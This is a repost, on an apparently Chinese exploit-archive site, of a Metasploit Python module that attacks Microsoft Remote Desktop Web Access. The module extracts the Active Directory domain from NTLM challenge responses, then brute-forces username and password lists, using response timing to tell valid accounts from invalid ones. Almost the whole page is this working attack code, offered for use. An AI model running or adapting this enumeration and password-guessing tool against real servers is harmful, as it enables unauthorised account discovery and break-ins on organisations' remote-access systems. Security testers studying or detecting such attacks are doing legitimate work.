首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Remote Desktop Web Access - Authentication Timing Attack (Metasploit Module)
来源:https://raxis.com/blog 作者:Matthew 发布时间:2021-02-26  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# standard modules
from metasploit import module

# extra modules
DEPENDENCIES_MISSING = False
try:
    import base64
    import itertools
    import os
    import requests
except ImportError:
    DEPENDENCIES_MISSING = True


# Metasploit Metadata
metadata = {
    'name': 'Microsoft RDP Web Client Login Enumeration',
    'description': '''
        Enumerate valid usernames and passwords against a Microsoft RDP Web Client
        by attempting authentication and performing a timing based check
        against the provided username.
    ''',
    'authors': [
        'Matthew Dunn'
    ],
    'date': '2020-12-23',
    'license': 'MSF_LICENSE',
    'references': [
        {'type': 'url', 'ref': 'https://raxis.com/blog/rd-web-access-vulnerability'},
    ],
    'type': 'single_scanner',
    'options': {
        'targeturi': {'type': 'string',
                      'description': 'The base path to the RDP Web Client install',
                      'required': True, 'default': '/RDWeb/Pages/en-US/login.aspx'},
        'rport': {'type': 'port', 'description': 'Port to target',
                  'required': True, 'default': 443},
        'domain': {'type': 'string', 'description': 'The target AD domain',
                   'required': False, 'default': None},
        'username': {'type': 'string',
                     'description': 'The username to verify or path to a file of usernames',
                     'required': True, 'default': None},
        'password': {'type': 'string',
                     'description': 'The password to try or path to a file of passwords',
                     'required': False, 'default': None},
        'timeout': {'type': 'int',
                    'description': 'Response timeout in milliseconds to consider username invalid',
                    'required': True, 'default': 1250},
        'enum_domain': {'type': 'bool',
                        'description': 'Automatically enumerate AD domain using NTLM',
                        'required': False, 'default': True},
        'verify_service': {'type': 'bool',
                           'description': 'Verify the service is up before performing login scan',
                           'required': False, 'default': True},
        'user_agent': {'type': 'string',
                       'description': 'User Agent string to use, defaults to Firefox',
                       'required': False,
                       'default': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}
    }
}


def verify_service(rhost, rport, targeturi, timeout, user_agent):
    """Verify the service is up at the target URI within the specified timeout"""
    url = f'https://{rhost}:{rport}/{targeturi}'
    headers = {'Host':rhost,
               'User-Agent': user_agent}
    try:
        request = requests.get(url, headers=headers, timeout=(timeout / 1000),
                               verify=False, allow_redirects=False)
        return request.status_code == 200 and 'RDWeb' in request.text
    except requests.exceptions.Timeout:
        return False
    except Exception as exc:
        module.log(str(exc), level='error')
        return False


def get_ad_domain(rhost, rport, user_agent):
    """Retrieve the NTLM domain out of a specific challenge/response"""
    domain_urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',
                   'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc']
    headers = {'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',
               'User-Agent': user_agent,
               'Host': rhost}
    session = requests.Session()
    for url in domain_urls:
        target_url = f"https://{rhost}:{rport}/{url}"
        request = session.get(target_url, headers=headers, verify=False)
        # Decode the provided NTLM Response to strip out the domain name
        if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \
          'NTLM' in request.headers['WWW-Authenticate']:
            domain_hash = request.headers['WWW-Authenticate'].split('NTLM ')[1].split(',')[0]
            domain = base64.b64decode(bytes(domain_hash,
                                            'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
            domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
            module.log(f'Found Domain: {domain}', level='good')
            return domain
    module.log('Failed to find Domain', level='error')
    return None


def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
    """Check a single login against the RDWeb Client
    The timeout is used to specify the amount of milliseconds where a
    response should consider the username invalid."""

    url = f'https://{rhost}:{rport}/{targeturi}'
    body = f'DomainUserName={domain}%5C{username}&UserPass={password}'
    headers = {'Host':rhost,
               'User-Agent': user_agent,
               'Content-Type': 'application/x-www-form-urlencoded',
               'Content-Length': f'{len(body)}',
               'Origin': f'https://{rhost}'}
    session = requests.Session()
    report_data = {'domain':domain, 'address': rhost, 'port': rport,
                   'protocol': 'tcp', 'service_name':'RDWeb'}
    try:
        request = session.post(url, data=body, headers=headers,
                               timeout=(timeout / 1000), verify=False, allow_redirects=False)
        if request.status_code == 302:
            module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')
            module.report_correct_password(username, password, **report_data)
        elif request.status_code == 200:
            module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',
                       level='good')
            module.report_valid_username(username, **report_data)
        else:
            module.log(f'Received unknown response with status code: {request.status_code}')
    except requests.exceptions.Timeout:
        module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',
                   level='error')
    except requests.exceptions.RequestException as exc:
        module.log('{}'.format(exc), level='error')
        return


def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
    """Check each username and password combination"""
    for (username, password) in list(itertools.product(usernames, passwords)):
        check_login(rhost, rport, targeturi, domain,
                    username.strip(), password.strip(), timeout, user_agent)

def run(args):
    """Run the module, gathering the domain if desired and verifying usernames and passwords"""
    module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOSTS']))
    if DEPENDENCIES_MISSING:
        module.log('Module dependencies are missing, cannot continue', level='error')
        return

    user_agent = args['user_agent']
    # Verify the service is up if requested
    if args['verify_service']:
        service_verified = verify_service(args['RHOSTS'], args['rport'],
                                          args['targeturi'], int(args['timeout']), user_agent)
        if service_verified:
            module.log('Service is up, beginning scan...', level='good')
        else:
            module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds',
                       level='error')
            return

    # Gather AD Domain either from args or enumeration
    domain = args['domain'] if 'domain' in args else None
    if not domain and args['enum_domain']:
        domain = get_ad_domain(args['RHOSTS'], args['rport'], user_agent)

    # Verify we have a proper domain
    if not domain:
        module.log('Either domain or enum_domain must be set to continue, aborting...',
                   level='error')
        return

    # Gather usernames and passwords for enumeration
    if os.path.isfile(args['username']):
        with open(args['username'], 'r') as file_contents:
            usernames = file_contents.readlines()
    else:
        usernames = [args['username']]
    if 'password' in args and os.path.isfile(args['password']):
        with open(args['password'], 'r') as file_contents:
            passwords = file_contents.readlines()
    elif 'password' in args and args['password']:
        passwords = [args['password']]
    else:
        passwords = ['wrong']
    # Check each valid login combination
    check_logins(args['RHOSTS'], args['rport'], args['targeturi'],
                   domain, usernames, passwords, int(args['timeout']), user_agent)

if __name__ == '__main__':
    module.run(metadata, run)
           

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·Yahoo! Messenger Webcam 8.1 Ac
·VideoScript 3.0 <= 4.0.1.50 Of
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ASUS Remote Link 1.1.2.13 - Re
·VMware vCenter 6.5 / 7.0 Remot
·VMware vCenter 6.5 / 7.0 Remot
·Unified Remote 3.9.0.2463 - Re
·HFS (HTTP File Server) 2.3.x -
·Apache Flink JAR Upload Java C
·dataSIMS Avionics ARINC 664-1
·Microsoft Internet Explorer 11
·Erlang Cookie - Remote Code Ex
·Microsoft SQL Server Reporting
·CompleteFTP Professional 12.1.
·vCloud Director 9.7.0.15498291
  推荐广告
CopyRight © 2002-2021 VFocuS.Net All Rights Reserved